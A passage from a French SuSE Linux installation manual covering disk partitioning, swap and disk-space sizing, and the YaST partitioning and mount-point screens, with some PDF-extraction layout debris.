peut correspondre soit à une partition primaire soit à une partition étendue. Vous ne pouvez cependant avoir qu'une seule partition étendue. Il est très facile d'examiner les partitions primaires : elles constituent une zone ininterrompue de cylindres attribués à un système d'exploitation. Avec les partitions primaires, on ne pourrait installer par cylindre qu'un nombre maximal de quatre partitions, il n'est pas possible d'en mettre plus dans la table des partitions. C'est ici qu'entre en jeu le concept de la partition étendue. La partition éten- due est également une zone ininterrompue de cylindres du disque dur. On peut cependant partager encore une fois la partition étendue en partitions dites lo- giques qui ne nécessitent, par elles-mêmes, aucune entrée dans la table des partitions. La partition étendue sert en quelque sorte à contenir les partitions logiques. Si vous avez besoin de plus de quatre partitions, vous devrez prévoir, lors du partitionnement, de transformer au plus tard la quatrième partition en partition étendue et vous devrez lui attribuer de l'espace disponible sur le cylindre. Vous pourrez y créer des partitions logiques ``à volonté'' (le maximum est de 15 partitions pour les disques SCSI et de 63 partitions pour les disques (E)IDE). Linux ne se préoccupe pas du type des partitions (primaires et/ou logiques) sur lesquelles l'installation est effectuée. Prendre des décisions Commençons par la question concernant ce qui est absolument indispen- sable : 180 Mo, ce qui suppose déjà un usage particulier de la machine. On travaille uniquement sur la console ~ sans système X Window. Si l'on veut donner un coup d'oeil à X et lancer un petit nombre d'applications : 500 Mo. Ces deux valeurs incluent le swap. Combien devrait-on avoir ? 1 Go. Dans le monde des disques durs de plu- sieurs giga-octets, c'est une exigence plutôt modeste. Swap inclus et sans limite supérieure. Combien est-il utile d'avoir ? Cela dépend de ce que vous voulez : ~ Travailler sous X avec des applications modernes telles que KDE , Ap- plixware et Netscape : de 1,2 Go. ~ Développer, avec Linux, de petites applications personnelles sous X. Éga- lement 1,2 Go. * * 67 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ ~ Les deux points mentionnés ci-dessus : 2 Go. ~ Compiler vos propres serveurs X, graver vos propres CD et faire ce qui est mentionné ci-dessus : 4 Go. ~ Avoir une connexion Internet et utiliser FTP : 700 Mo de système de base + le nombre qui vous conviendra. Comment faut-il répartir l'espace ? C'est une question simple à laquelle il est beaucoup moins simple de répondre. ________________________________________________________________________________________________________* *________|| | Le système de fichiers Linux étant maintenant d'une certaine robustesse, * * |||| | une bonne marche à suivre, surtout pour les débutants, consiste à adopter la * * ||| | * * ||| | même stratégie que YaST : prévoir une petite partition au début du disque * * ||| | pour /boot (2 Mo au minimum, pour les grands disques 1 cylindre), une * * ||| | * * ||| | partition de swap (64-128 Mo) et tout le reste pour /. * * ||| |_______________________________________________________________________________________________________* *________|||_ Si vous voulez partitionner le moins possible suivez les règles ci-dessous : ~ jusqu'à environ 500 Mo : une partition de swap et une partition racine (/) ~ de 500 Mo environ à 2 Go : petite partition de démarrage pour le noyau et pour LILO au début du disque dur (/boot, environ 5-10 Mo ou 1 cy- lindre), partition de swap et le reste pour la partition racine (/). ~ à partir d'environ 2 Go : Boot (/boot), swap, root (180 Mo), home (/home avec environ 100 Mo par utilisateur) et le reste pour les pro- grammes (/usr), le cas échéant une partition supplémentaire pour /opt (voir présente page) et pour /var. ________________________________________________________________________________________________________* *________|| | Si vous voulez lancer Linux directement à partir du disque dur, vous aurez * * |||| | * * ||| | besoin, comme partition de démarrage, d'une partition Linux située au * * ||| | dessous de ``la limite du cylindre 1024'' (voir page 121 et page 139). Ceci * * ||| | * * ||| | ne vous concerne pas si vous lancez Linux à partir de DOS-Windows à * * ||| | l'aide de loadlin . Habituellement (à partir de SuSE Linux 6.0), c'est la * * ||| | * * ||| | partition boot (/boot) qui est cette partition de démarrage. * * ||| |_______________________________________________________________________________________________________* *________|||_ Il faut également considérer que quelques programmes (commerciaux pour la plupart) installent leurs données sous /opt. Vous devrez prévoir, le cas échéant, soit une partition séparée pour /opt, soit une taille plus grande pour la partition racine. Il s'agit, entre autres, des paquetages logiciels dont le tableau 2.1 page suivante vous donne la liste ou de démos ~ calculés à chaque fois en vue d'un éventuel accroissement (le tableau mentionne aussi des programmes qui ne sont pas inclus dans la distribution SuSE Linux !). 2.9 Partitionnement avancé Le paragraphe 2.8 page précédente ainsi que le paragraphe 2.10.1 page 75 vous donnent des détails sur les possibilités de partitionnement du système. Le but du présent paragraphe est de vous fournir des informations détaillées qui vous permettront d'établir un plan optimal de partitionnement adapté à vos besoins. Ce paragraphe présente un intérêt particulier pour tous ceux qui veulent configurer leur système de façon optimale ~ tant du point de vue de la 68 _______________________________________________________________________________________2.9.__Partitionnement_avancé_________* *______________________ _______________________________________________________________________________________________________________________ KDE 170 Mo GNOME 100 Mo htdig 5 Mo Fortify 2 Mo dochost avec recherche plein texte htdig 200 Mo Wabi 10 Mo Netscape 35 Mo Arcad 350 Mo Applixware 400 Mo Eagle 18 Mo Staroffice 150 Mo Bartels AutoEngineer (BAE) 60 Mo Cyberscheduler Software 30 Mo HP Eloquence 20 Mo Cygnus Source-Navigator 20 Mo SNiFF+ 45 Mo Insure++ 45 Mo pep 18 Mo Oracle 8 400 Mo Sybase ~ Adaptive Server Enterprise 170 Mo __________virtuoso_~_OpenLink_Virtuoso_Lite_Edition___________________________55_Mo____________________________________ Tab. 2.1: Exemples pour paquetages sous /opt ~ ces paquetages ne sont pas tous fournis avec SuSE Linux ! sécurité que du point de vue de la rapidité ~ et qui sont disposés pour atteindre ce but à reconstruire complètement leur système et à faire en quelque sorte table rase. Il est absolument indispensable de comprendre les bases du fonctionnement d'un système de fichiers UNIX. Les expressions + point de montage ainsi que partition physique, étendue et logique ne devraient pas être pour vous des mots étrangers. Il doit tout d'abord être mentionné qu'il n'existe pas une seule bonne voie va- lable pour tous mais plusieurs bonnes voies pour chacun. Soyez sans crainte, vous trouverez dans ce paragraphe des chiffres concrets qui pourront vous servir de référence. Pour commencer, rassemblez les informations suivantes : ~ Quelle est la fonction de la machine (serveur de fichiers, serveur de calcul, ordinateur monoposte) ? ~ Combien de personnes travailleront sur cette machine (logins simulta- nés) ? ~ Combien de disques durs possède la machine, de quelle taille sont-ils et quel système ont-ils (EIDE, SCSI ou même éventuellement contrôleur RAID) ? * * 69 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.9.1 Taille de la partition de swap Vous lirez encore très souvent : ``Au moins deux fois autant de + swap que de mémoire centrale''. Cette formule date de l'époque où 8 Mo de mémoire vive (RAM) n'étaient pas peu de chose. Mais ces temps sont révolus et qui fait aujourd'hui l'acquisition d'une nouvelle machine avec moins de 32 Mo de mémoire a été mal conseillé. Revenons maintenant à ce que nous avons dit plus haut. Le but à atteindre était que la machine dispose d'environ 30 à 40 Mo de + mémoire virtuelle. Avec certaines applications modernes qui demandent beaucoup de mémoire, nous devons encore incrémenter ces valeurs. En cas normal, 64 Mo de mé- moire virtuelle devraient suffire mais il vaudrait mieux ne pas se montrer trop avare. Si l'on compile le noyau sous X et si l'on veut consulter les pages d'aide avec Netscape pendant qu'Emacs est en train de tourner quelque part, 64 Mo de mémoire virtuelle ne laissent plus beaucoup de réserves. C'est pourquoi l'utilisateur moyen se trouve pour un bon moment dans une position sûre avec 128 Mo de mémoire virtuelle. Voici ce que vous devriez à tout prix éviter : ne pas avoir du tout de mémoire de swap. Même dans une machine de 256 Mo de mémoire vive, il doit exister une zone de swap. Les raisons en sont claires à la lecture du paragraphe 2.9.3 page 73 (Fonction comme serveur de calcul). Vous faites calculer de très importantes simulations avec un besoin de mé- moire ( !) de plusieurs giga-octets. Si vous deviez avoir des doutes et vous demander si Linux offre une réserve suffisante pour vos applications, lisez le paragraphe 2.9.2 page suivante (Fonction comme serveur de calcul). 2.9.2 Possibilités de fonction de la machine Fonction comme ordinateur monoposte : Le cas d'utilisation le plus courant pour une petite machine Linux est la fonc- tion d'ordinateur monoposte. Afin que vous puissiez vous orienter à des va- leurs concrètes, nous avons établi ici quelques configurations exemples dont vous pourrez le cas échéant vous servir chez vous ou dans votre entreprise. Le tableau 2.2 vous donne une vue d'ensemble des différents volumes d'ins- tallation pour un système Linux. ________________________________________________________________________________________________________* *________ __Installation_________Espace_disque_nécessité_________________________________________________________* *________ minimale 180 Mo à 400 Mo petite 400 Mo à 800 Mo moyenne 800 Mo à 4 Go grande 4 Go à 8 Go ________________________________________________________________________________________________________* *________ Tab. 2.2: Exemples pour différentes tailles d'installation Ces valeurs seront bien sûr incrémentées si vous voulez sauvegarder des don- nées supplémentaires ne faisant pas partie du système. 70 _______________________________________________________________________________________2.9.__Partitionnement_avancé_________* *______________________ Exemple : Ordinateur station de travail standard (de très petite taille) Vous avez un disque dur d'environ 500 Mo et vous désirez y installer Linux : une partition de swap d'environ 64 Mo et le reste pour / (partition racine). Exemple : Ordinateur station de travail standard (moyen) Vous avez 1.2 Go d'espace disponible pour Linux. Petite partition de démar- rage (5-10 Mo ou 1 cylindre), 180 Mo pour /, 64 Mo pour le swap, 100 Mo pour /home et le reste pour /usr. N'oubliez pas la zone /opt (voir para- graphe 2.8 page 68). Pour la détermination de la partition racine, vous devez tenir compte du fait que la base de données RPM est créée sous /var (voir paragraphe 15.3.2 page 419) ! Exemple : Ordinateur station de travail standard (de luxe) Si vous disposez de 1,2 Go ou davantage sur plusieurs disques durs, il n'existe pas de partitionnement ``clés en main''. Lisez à ce sujet le paragraphe 2.9.3 page suivante. Fonction comme serveur de fichiers : Ici tout dépend vraiment de la performance du disque dur. Vous devriez abso- lument donner la préférence aux périphériques SCSI. Tenez compte aussi de la capacité de rendement des disques et du contrôleur utilisé. Un serveur de fichiers vous donne la possibilité de stocker centralement des données. Il peut s'agir ici de + répertoires personnels, d'une base de données ou autre archive. L'avantage est une administration beaucoup plus simple. Si le serveur de fichiers doit fonctionner dans un réseau assez grand (à partir de 20 utilisateurs) l'optimisation de l'accès au(x) disque(s) est essentielle. Supposons que vous vouliez créer un serveur de fichiers Linux qui devra mettre à disposition les répertoires personnels (home) de 25 utilisateurs. Vous savez que chaque utilisateur aura besoin, au maximum, de 80 Mo pour ses données personnelles. Si chacun de ces utilisateurs ne compile pas constam- ment dans son répertoire personnel, un disque de 2 Go monté simplement sous /home sera suffisant. Si vous avez 50 utilisateurs, vous pouvez facilement en déduire par simple calcul qu'il vous faut un disque de 4 Go. Il serait cependant préférable, dans un tel cas, de répartir /home sur deux disques de 2 Go qui se partageraient alors la tâche (et le temps d'accès !). Fonction comme serveur de calcul : Un serveur de calcul est en règle générale une machine à haut rendement qui exécute en réseau des tâches intensives en ressources processeur. Il est typique pour une telle machine de disposer d'une mémoire centrale un peu plus importante (à partir de 512 Mo de RAM). Le seul point auquel un débit plus rapide du disque s'impose est constitué par d'éventuelles partitions de * * 71 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ swap. La règle à appliquer ici est la suivante : répartir plusieurs partitions de swap sur plusieurs disques4 . 2.9.3 Possibilités d'optimisation C'est la plupart du temps le disque qui impose des limites. Pour contourner ce ``goulot d'étranglement'', il existe trois méthodes. Les deux premières de- vraient, de préférence, être appliquées en même temps : ~ Répartir la charge de façon égale sur plusieurs disques. ~ Doter le serveur de fichiers de suffisamment de mémoire (128 Mo au minimum). ~ Utiliser un système de fichiers optimisé (par exemple reiserfs ). Parallélisation par plusieurs disques La méthode mentionnée en premier requiert une explication approfondie. Le temps global qui s'écoule avant que le fichier demandé soit mis à disposition peut être découpé grosso modo de la façon suivante : 1. Temps nécessaire à la demande pour parvenir au contrôleur du disque. 2. Temps nécessaire au contrôleur pour envoyer la demande au disque dur. 3. Temps nécessaire au disque dur pour positionner sa tête. 4. Temps nécessaire au support pour se tourner vers le secteur adéquat. 5. Temps nécessaire à la transmission. Le point 1 dépend de la connexion réseau et doit être réglé à ce niveau. Nous ne nous attarderons pas plus longtemps sur ce sujet. Le point 2 représente un laps de temps relativement négligeable qui dépend du contrôleur du disque. Le point 3 constitue en fait le gros morceau. Le positionnement est mesuré en ms, ce qui, comparé aux temps d'accès à la mémoire centrale mesurés en ns, représente un facteur de 1 million ! Le point 4 dépend de la vitesse de rotation du disque. Le point 5 dépend de la vitesse de rotation et du nombre de têtes ainsi que de la position actuelle de la tête (interne, externe). Pour obtenir une performance optimale, il faudrait donc s'attaquer d'abord au point 3. Ici la fonction ``disconnect'' des périphériques SCSI entre en jeu. Avec cette fonction il se passe plus ou moins ce qui suit : Le contrôleur envoie au périphérique connecté (dans ce cas le disque dur) la commande ``Passe à la piste x, secteur y''. La mécanique inerte du disque doit maintenant se mettre en mouvement. Si le disque est intelligent et maî- trise donc disconnect et si le pilote pour le contrôleur maîtrise aussi cette fonction, le contrôleur envoie, immédiatement après, une commande discon- nect au disque et celui-ci se déconnecte du bus SCSI. Désormais, d'autres périphériques SCSI peuvent effectuer leurs transferts. Au bout d'un certain temps (dont la durée dépend de la stratégie mise en oeuvre ou de la charge _____________________________________________4 Si vous envisagez d'utiliser le noyau 2.0.xx dans votre système, n'oubliez pas qu'une partition de swap ne doit pas dépasser 128 Mo. Linux peut cependant gérer sans problème 8 de ces partitions ~ et même 64 avec quelques petites modifications. Avec le noyau 2.2.xx, la limite d'une partition de swap se situe à 2 Go. 72 _______________________________________________________________________________________2.9.__Partitionnement_avancé_________* *______________________ qui se trouve sur le bus SCSI), la connexion avec le disque dur est de nouveau activée. Dans le cas idéal celle-ci a déjà atteint la piste requise. Dans un système d'exploitation multitâche/multiutilisateur tel que Linux, on peut bien sûr faire une optimisation épatante. Voyons maintenant un extrait d'une sortie de la commande df (voir l'affichage à l'écran 2.9.1). _______________________________________________________________________________________________________________________ |||||||| Filesystem 1024-blocks Used Available Capacity Mounted on | |||||||| /dev/sda2 45835 27063 16152 63% / | |||||||| /dev/sdb1 992994 749694 192000 80% /usr | |||||||| /dev/sdc1 695076 530926 133412 80% /usr/lib | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 2.9.1: Exemple d'un partitionnement : Affichage obtenu par la commande df . Que nous apporte cette parallélisation ? Supposons que nous fassions dans /usr/src l'entrée suivante : root@terre:/usr/src/ > tar xzf paket.tgz -C /usr/lib Cela doit donc installer paket.tgz vers /usr/lib/paket. À cette fin, tar et gzip seront invoqués par le shell (ils se trouvent sous /bin ainsi que sous /dev/sda), ensuite paket.tgz sera lu par /usr/src (il se trouve sous /dev/sdb). Pour terminer, les données extraites seront écrites vers /usr/lib (se trouve sous /dev/sdc). Le positionnement ainsi que la lecture/écriture de la mémoire tampon interne du disque peuvent maintenant être exécutés de fa- çon pratiquement parallèle. Mais ce n'est qu'un exemple entre plusieurs. Selon une règle approxima- tive, on peut dire que si l'on dispose de plusieurs disques (de la même vi- tesse) /usr et /usr/lib devraient se trouver sur des disques différents. Et /usr/lib devrait avoir environ 70% de la capacité de /usr. Dans ce cas, le répertoire racine / devrait se trouver, en raison de la fréquence des accès, sur le même disque que /usr/lib. À partir d'un certain nombre de disques SCSI (4 à 5 environ), on devrait en- visager sérieusement d'avoir recours à une solution RAID de type logiciel ou mieux encore de faire l'acquisition d'un contrôleur RAID. Les opérations sur les disques ne se dérouleront plus de façon pratiquement parallèle mais de façon exactement parallèle. La tolérance aux erreurs constitue une caractéris- tique secondaire appréciable. Débit du disque et taille de la mémoire centrale Dans plusieurs passages, nous attirons votre attention sur le fait que la taille de la mémoire centrale sous Linux a souvent plus d'importance que la vitesse du processeur. L'une des raisons ~ et c'est peut-être même la raison principale ~ est la propriété que possède Linux de créer des mémoires tampons dyna- miques avec les données du disque dur. Linux travaille ici avec tout un tas d'astuces telles que ``read ahead'' (il recherche, par précaution, des secteurs à l'avance) et ``delayed write'' (il s'épargne des accès en écriture pour tout exécuter en une seule opération). Ce dernier point est la raison pour laquelle on ne doit pas éteindre brutalement une machine sous Linux. Ces deux points ont pour conséquence que la mémoire centrale se remplit de façon apparente au fil du temps et que Linux est d'une extrême rapidité. * * 73 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Mem: 63total304 used62312 free 99shared2 buffers15920cached38692 4200 * * | ||-/+ buffers: 19420 43884 * * || | Swap: 199508 14548 184960 * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 2.9.2: La sortie de free L'affichage 2.9.2 montre que dans l'exemple ci-dessus il y a bien 38 Mo de stockés dans les mémoires tampons. Si l'on veut accéder à certaines données qui se trouvent encore dans la mémoire tampon, celles-ci sont pratiquement disponibles immédiatement. 74 _______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur__________________* *______________________ 2.10 Configuration manuelle du disque dur 2.10.1 Configurer les partitions De quoi est-il question ? Au paragraphe 2.2.4 page 33, vous avez décidé de partitionner en mode inter- actif. Nous vous présentons ici les masques de YaST avec lesquels vous allez vous voir confronté. Vous trouverez des informations d'arrière-plan sur les différents types de partitions dans un document de Andries Brouwer (http://www.win.tue. nl/~aeb/partitions/). Pas à pas : : : Voici comment vous devez procéder pour installer vos partitions : 1. YaST vous présente un écran divisé en plusieurs zones (voir figure 3.9 page 89) : ~ Tout en haut, vous voyez les paramètres de votre disque dur. ~ Dans la deuxième zone, vous voyez d'éventuels avertissements et mes- sages d'erreur du programme_fdisk_. Vous pouvez voir de plus près ces messages en appuyant sur |F___|6. ~ Dans la partie inférieure se trouvent les partitions que fdisk a détectées sur le disque dur. Vous pouvez voir la ou les partitions du système d'ex- ploitation que vous possédiez déjà, par exemple les partitions MSDOS. Si vous aviez déjà créé une partition de swap, celle-ci est également présente ici. 2. Si vous voulez effacer des partitions existantes afin de repartitionner l'es- pace devenu disponible, vous devriez le faire en tout premier lieu. Accédez à la partition à effacer avec |#__|et |"__|. Réfléchissez bien encore une fois afin d'être sûr qu'il s'agit de la bonne_partition_et tenez compte aussi du_type_de partition. Appuyez ensuite sur |___F|4et validez l'effacement avec |_____-|. _______________________________________________________________________________________________________________________|| |||||||| Si vous effacez des partitions, toutes les données qu'elles contiennent se- ||| | |||||||| ront également effacées. Ceci n'est pas exact à 100% sur le plan technique || | |||||||| || | |||||||| mais vos données seront quand même perdues ! || | ||||||||_______________________________________________________________________________________________________________||_ Si vous voulez effacer plusieurs partitions, faites-le de préférence en une seule opération. 3. Si vous voulez utiliser pour Linux les partitions déjà existantes d'autres systèmes d'exploitation, vous pouvez le faire en changeant maintenant le type de la partition. _______________________________________________________________________________________________________________________|| |||||||| Si vous changez le type d'une partition, il se peut qu'il ne soit plus possible ||| | |||||||| || | |||||||| d'accéder aux données qu'elle contient à partir d'autres systèmes d'exploi- || | |||||||| tation (MS-DOS ou Windows) ! || | ||||||||_______________________________________________________________________________________________________________||_ * * 75 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Accédez à la partition dont vous voulez changer le type avec |#__|et |"__|._Si vous êtes sûr qu'il s'agit bien de la ``bonne'' partition, appuyez sur |F___|3 Il apparaît une fenêtre de sélection pour le nouveau type de partition. Choisissez entre _une_ partition Linux normale et une partition de swap et validez avec |_____-|. 4. Si vous voulez créer de nouvelles partitions pour Linux ~ c'est ce qui se passe en cas normal ~, créez-les de_préférence_les_unes après les autres. Pour cela, appuyez d'abord sur |F___5|. Si |F___5|ne produit aucun effet, cela signifie : Le disque est déjà plein, il n'y a plus de place pour de nouvelles partitions. Vous devez alors commencer par effacer des partitions (voir plus haut) : : : Fig. 2.18: YaST ~ Déterminer le partitionnement Il apparaît une fenêtre de sélection pour le mode de la partition à créer (figure 2.18). Choisissez entre `Partition primaire', `Partition_ étendue' et le cas échéant `Partition logique' ; validez avec |_____-|. Rappel : Vous ne pouvez avoir que 4 partitions primaires au maximum. S'il vous faut plus de 4 partitions, vous devrez transformer au plus tard la 4ème partition en partition étendue dans laquelle vous pourrez créer plusieurs partitions logiques. Vous trouverez d'autres informations à ce sujet au paragraphe 2.8 page 67. Si vous avez créé une partition primaire ou logique, vous devrez spécifier le nom de périphérique sous lequel il sera accédé à la partition. YaST vous propose les noms de périphériques disponibles. Sélectionnez tout simplement le__nom_ situé en tête de liste par exemple `/dev/hda2' et appuyez sur |_____-|. Dans la prochaine phase, vous devrez déterminer la taille de la nouvelle partition. YaST vous propose comme début de la partition (cylindre de dé- part) le premier cylindre disponible. En cas normal, vous validerez avec |______|-. Passons maintenant à la fin de la partition. Il y a ici 3 entrées pos- 76 _______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur__________________* *______________________ sibles : le numéro du cylindre de fin (par exemple 976 ), le nombre des cylindres de la partition (par exemple__+66_ ) ou la taille en méga-octets (par exemple +100M_ ). Encore une fois |_____-|vous ramène à `Continuer'. Validez avec |_____-|. Maintenant, la partition nouvellement créée apparaît dans la zone infé- rieure de l'écran. Si la partition n'est_ pas telle que vous le souhaitiez, vous pouvez l'effacer immédiatement avec |F___|4: : : 5. L'une de vos partitions devrait absolument être une partition de swap Li-_ _ nux. Si vous n'en avez encore créé aucune, sélectionnez avec |_#|et |_"| une partition appropriée (pour trouver la taille adéquate de la_partition de swap, reportez-vous au paragraphe 2.8 page 67. Appuyez sur |F___|3et_sé- lectionnez l'option `Partition de swap Linux', validez avec |_____-|. 6. Avez-vous rassemblé toutes les partitions comme vous le souhaitiez (maintenant le disque devrait être complètement occupé) ? Avez-vous aussi_pensé_à la partition de swap ? Positionnez alors le curseur, à l'aide de |T____a|b, dans le champ `Continuer', à moins qu'il ne s'y trouve déjà. ||____|-vous amène, après que vous ayez validé encore une fois, dans le masque d'entrée `Détermination des systèmes de fichiers'. Sous certaines conditions, YaST vérifie encore une fois la partition de swap pour mettre toutes les chances de votre côté. 2.10.2 Déterminer les systèmes de fichiers et les ``points de montage'' De quoi est-il question ? Au paragraphe précédent, toutes les partitions ont été inscrites dans la table des partitions. Dans la présente phase, vous fournirez des informations com- plémentaires sur les partitions Linux qui viennent d'être configurées ainsi que sur les partitions DOS-/HPFS éventuellement présentes. Informations complémentaires Ces informations sur les partitions seront en partie conservées de façon per- manente dans le fichier /etc/fstab de la table du système de fichiers (angl. file system table). Ce fichier contient toutes les données constantes concernant les systèmes de fichiers comme par exemple les noms de + périphériques, la position du système de fichiers dans l'arborescence de tous les systèmes de fichiers Linux ou le type du système de fichiers5 Par ailleurs, YaST a besoin des données elles-mêmes pour pouvoir installer les systèmes de fichiers Linux sur les partitions formatées. Il n'est pas tenu compte, dans cette phase de travail, de la partition de swap car elle a déjà été déterminée au paragraphe 2.10.1 page 75 et elle n'a pas d'autre degré de liberté. Contrairement au tables des partitions (voir paragraphe 2.10.1 page 75), les spécifications faites dans cette phase de travail sont internes à Linux et n'ont 5 ____________________________________________________ Ainsi que des informations sur les programmes dump et fsck . Voir page de man de fstab (man 5 fstab ). * * 77 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ aucune influence sur d'autres systèmes d'exploitation qui se trouvent sur leurs propres partitions. Encore quelques explications de termes : ~ Sous Linux, tous les systèmes de fichiers sont groupés en une seule ``arbo- rescence'' (voir la figure C.1 page 529). Pour chaque système de fichiers, il doit être défini quelle branche de l'arborescence il devra représenter : c'est là son + point de montage. Vous pouvez aussi ``raccrocher'' des par- titions DOS ou HPFS à l'arborescence des répertoires Linux. ~ L'espace mémoire dans un système de fichiers est géré à l'aide des + i-noeuds. Les i-noeuds pointent sur les données proprement dites qui sont enregistrées dans les fichiers. Le nombre d'i-noeuds est déterminé lors de la création d'un système de fichiers. Si l'on veut pouvoir créer beaucoup de petits fichiers, on a besoin d'un nombre important d'i- noeuds (qui occupent aussi bien sûr plus de la place). Dans les systèmes de fichiers qui contiennent surtout des fichiers de grande taille, on a donc besoin d'un moins grand nombre d'i-noeuds. Vous trouverez plus d'informations à ce sujet au paragraphe 3.3.10 page 91. Pas à pas : : : Vous vous trouvez dans le masque d'entrée `Détermination des sys- tèmes de fichiers' (voir figure 3.10 page 90). Nous allons vous indiquer la marche à suivre pour déterminer les systèmes de fichiers de vos nouvelles partitions : 1. Tout d'abord, une information préalable avant de commencer : ~ Pour vos systèmes de fichiers DOS/FPFS (dans les partitions DOS/HPFS), vous pouvez définir ici un + point de montage. ~ Pour chaque nouvelle partition Linux ~ vous devez définir un point de montage. ~ Vous pouvez, avec `F3=déterminer le type', choisir un sys- tème de fichiers (ext2 ou reiserfs ). ~ vous pouvez, avec `F5=Menu expert' affiner votre configuration. ~ vous pouvez, avec `F6=Formater' modifier le type du formatage qui vous est proposé (avec ou sans vérification). ~ La fonction `Lire Fstab' ne vous sert pas dans le cas d'une pre- mière installation 2. Vous pouvez déterminer le type de votre système de fichiers Linux avec |____|F3. Vous disposez actuellement du système de fichiers bien éprouvé ext2 ainsi que du nouveau reiserfs qui offre des possibilités avancées. ________________________________________________________________________________________________________* *________|| | ReiserFS ne peut pas être utilisé conjointement à RAID 1 et RAID 5 logi- * * |||| | ciels. Avec le RAID matériel, il n'y a aucune restriction. ~ reiserfs est * * ||| | * * ||| | beaucoup plus récent que le système de fichiers ext2 qui n'a plus à faire * * ||| | ses preuves. Tenez compte de ce fait si vous vous décidez pour reiserfs . * * ||| | * * ||| | Voir, au sujet de ReiserFS, la page 90. * * ||| |_______________________________________________________________________________________________________* *________|||_ 78 _______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur___________________* *_____________________ Fig. 2.19: YaST ~ Monter la partition DOS/Windows 3. Si vous voulez accéder depuis Linux_à_une partition DOS ou HPFS, sélec- tionnez celle-ci et appuyez sur |F___|4. Il apparaît une fenêtre d'entrée dans laquelle vous devez spécifier un répertoire. C'est sous ce répertoire que vous trouverez plus tard votre système de fichiers DOS/HPFS. Sélection- nez `Autre entrée' et spécifiez ici par exemple_/dosc sans oublier la barre oblique (`/') au début. Validez avec |_____-|. Dans le cas d'une partition DOS, il apparaît un autre masque (fi- gure 2.19) ; vous choisirez de quelle manière Linux devra accéder au système de fichiers DOS (voir aussi le paragraphe 3.3.10 page 91). Nor- malement, vous voudrez vous servir de votre système de fichiers DOS de façon indépendante et n'accéder, à partir de Linux, que sporadiquement à la partition DOS, par exemple pour l'échange des fichiers. Sélectionnez ici `DOS'. Les attributs des fichiers UNIX et les noms de fichiers longs que permet le système de fichiers + UMSDOS ne sont nécessaires que si vous voulez installer sur une partition DOS ~ évitez toutefois ce type d'installation dans la mesure du possible ! 4. Ensuite, vous spécifierez le + point de montage des partitions Linux. Sé- ___ lectionnez l'une après l'autre les partitions Linux, appuyez sur |___F|4. Il apparaît une fenêtre dans laquelle vous spécifierez le répertoire sous le- quel le système de fichiers de cette partition devra apparaître dans l'en- semble du système de fichiers. Spécifiez toujours le chemin avec une barre oblique au début. Le répertoire que vous spécifierez comme point de montage dépend bien sûr de votre plan de partitionnement. Il vous faut en tout cas un fichier racine (root) / qui constitue la racine et la base de l'ensemble du système de fichiers. Les autres systèmes de fichiers et leurs points de montage dépendent, comme nous l'avons déjà dit, du goût de chacun. Toutefois attention : * * 79 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Les répertoires qui sont déjà nécessités lors de l'amorçage doivent se trou- * * |||| || ver directement dans le système de fichiers /. À ce stade, les différentes * * |||| | branches de l'ensemble du système de fichiers ne sont pas encore mon- * * |||| | * * ||| | tées. C'est pourquoi vous ne devez pas spécifier ici les fichiers /bin,/dev, * * ||| | /lib, /etc et /sbin ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 5. Ignorez le `menu expert', si vous faites vos débuts sous Linux En règle générale, les configurations par défaut sont automatiquement déterminées de manière à garantir un fonctionnement sûr et fiable. Ne modifiez les valeurs proposées que si vous savez exactement ce qu'une modification peut entraîner (voir page 91) ! 6. Déterminez si les partitions doivent être formatées et, le cas échéant, de quelle manière. Les partitions que vous avez reconfigurées au pa- ragraphe 2.10.1 page 75 doivent absolument être formatées. Si vous disposez d'un disque dur moderne, il suffit de sélectionner `Formater normalement'. Si votre mémoire de masse n'est plus toute fraîche, vous devriez sélectionner `Formater en vérifiant'. Fig. 2.20: YaST ~ Points de montage Choisissez l'une après l'autre vos partitions Linux, appuyez sur |____|F6et sélectionnez ensuite le mode de formatage approprié. Le menu devrait alors ressembler à celui de la figure 2.20 (mais il est possible que vous n'ayez pas inscrit de répertoire NFS ! 7. Sélectionnez `Continuer' et le formatage de la partition aura lieu après que vous ayez répondu à une question de sécurité. 80 Chapitre 3 YaST ~ Yet another Setup Tool YaST (yast ) est un élément essentiel de SuSE Linux. Il vous aide à installer le système, à gérer les logiciels (installation et désinstallation) et vous apporte un soutien pour l'administration du système. Ce chapitre a pour objectif de décrire les fonctions les plus importantes de YaST afin de vous rendre l'installation aussi simple que possible. _______________________________________________________________________________________________________________________|| |||||||| Avec SuSE Linux 6.4, il vous est fourni un YaST qui a fait l'objet d'une ||| | |||||||| nouvelle élaboration et les figures (captures d'écran) contenues dans le || | |||||||| || | |||||||| manuel ne sont plus tout à fait exactes. || | ||||||||_______________________________________________________________________________________________________________||_ 3.1 Utilisation de YaST et disposition du clavier Vous lancez YaST au message d'+ invite par la commande yast : terre: # yast On utilise le programme YaST essentiellement_à l'aide des touches du curseur et de la touche de tabulation (|T____a|b). Vous pouvez__vous__déplacer _dans__les_ listes en_vous_servant_des touches du curseur ainsi que de |B_________|ildet"|B_________|ild. # Avec |||______E|space, vous pouvez choisir des__options_ dans les__listes_ de sélection. Normalement, la sélection doit être validée avec |E_________|ntréeou |_____-|. Avec É|||_____|chap, vous pouvez en règle générale quitter les menus. Si vous sou- haitez conserver les_configurations_que vous avez faites, vous devez valider votre choix avec |F____1|0. Pour les questions auxquelles il faut répondre par oui_ou_par non ainsi que pour les champs d'entrée de texte, vous pouvez, avec |____Ta|b, passer d'un champ à l'autre ou d'un bouton à l'autre. Si vous utilisez YaST en mode couleurs, la sélection active est toujours représentée en bleu. Dans de rares cas, par exemple si vous démarrez YaST à distance depuis un terminal non Linux, il ne vous sera pas possible dans le texte qui va suivre ou dans la barre inférieure de YaST , d'utiliser les touches de fonction du fait que les codes des touches seront 